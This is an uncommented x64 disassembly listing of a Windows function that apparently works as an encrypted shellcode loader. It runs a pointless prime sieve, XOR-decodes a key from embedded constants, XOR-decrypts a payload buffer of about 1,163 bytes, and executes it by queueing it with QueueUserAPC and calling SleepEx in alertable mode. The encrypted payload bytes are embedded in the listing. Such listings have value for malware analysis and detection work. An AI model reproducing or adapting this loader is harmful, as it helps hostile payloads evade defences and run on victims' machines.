movabs rdx, 0xf6adfe8b68caede9
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x8a2c833b41b27065
movabs rdx, 0x1ed9dbd1cafdbd9b
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xb62546cb1ed9db
mov qword [rbp + 0x6d], rax
mov dword [rbp + 0x5ec], 1
mov ecx, 0x2c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5e0], rax
mov qword [rbp + 0x780], 2
jmp 0x1400029a1
mov rax, qword [rbp + 0x780]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5e0]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x780], 1
cmp qword [rbp + 0x780], 0xaf
jbe 0x14000297a
mov qword [rbp + 0x780], 2
jmp 0x140002a38
mov rax, qword [rbp + 0x780]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5e0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140002a30
mov rax, qword [rbp + 0x780]
mov qword [rbp + 0x778], rax
jmp 0x140002a19
mov rax, qword [rbp + 0x780]
imul rax, qword [rbp + 0x778]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5e0]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x778], 1
mov rax, qword [rbp + 0x780]
imul rax, qword [rbp + 0x778]
cmp rax, 0xaf
jbe 0x1400029ea
add qword [rbp + 0x780], 1
cmp qword [rbp + 0x780], 0xaf
jbe 0x1400029bb
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0xb7077d291a50148f
movabs rdx, 0x4e4e5fe6a81a8b6a
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xaa751f7f3d3f23ab
movabs rdx, 0xd3dcf6ccf434f4c7
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xc032427f1525c17d
movabs rdx, 0x64e4217e59bd0d38
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xdfbfcff492e345c9
movabs rdx, 0x811c6476681a6ead
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x5a4a486779eead51
movabs rdx, 0x353d807ae8d1d677
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x3222728b71f835
mov qword [rbp + 0xcf], rax
jmp 0x140002b8e
cmp dword [rbp + 0x790], 0x55
jne 0x140002b55
mov eax, dword [rbp + 0x794]
cdqe
movzx edx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x790]
cdqe
movzx eax, byte [rbp + rax + 0x80]
xor edx, eax
mov eax, dword [rbp + 0x794]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x790], 0
jmp 0x140002b87
mov eax, dword [rbp + 0x794]
cdqe
movzx edx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x790]
cdqe
movzx eax, byte [rbp + rax + 0x80]
xor edx, eax
mov eax, dword [rbp + 0x794]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x790], 1
add dword [rbp + 0x794], 1
mov eax, dword [rbp + 0x794]
cmp eax, 0x53
jbe 0x140002b15
mov dword [rbp + 0x794], 0
jmp 0x140002c4b
cmp dword [rbp + 0x78c], 0x53
jne 0x140002bff
mov eax, dword [rbp + 0x794]
movsxd rdx, eax
mov rax, qword [rbp + 0x5f8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x78c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x794]
movsxd rdx, eax
mov rax, qword [rbp + 0x5f8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x78c], 0
jmp 0x140002c44
mov eax, dword [rbp + 0x794]
movsxd rdx, eax
mov rax, qword [rbp + 0x5f8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x78c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x794]
movsxd rdx, eax
mov rax, qword [rbp + 0x5f8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x78c], 1
add dword [rbp + 0x794], 1
cmp dword [rbp + 0x794], 0x48a
jle 0x140002bac
mov rax, qword [rbp + 0x5f8]
mov qword [rbp + 0x5d8], rax
mov rax, qword [rbp + 0x768]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5d0], rax
mov rax, qword [rbp + 0x768]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x5d8]
mov r9, qword [rbp + 0x5d0]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x5c8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x7f0]
add rsp, 0x888
pop rbx
pop rsi
pop rdi
pop rbp
ret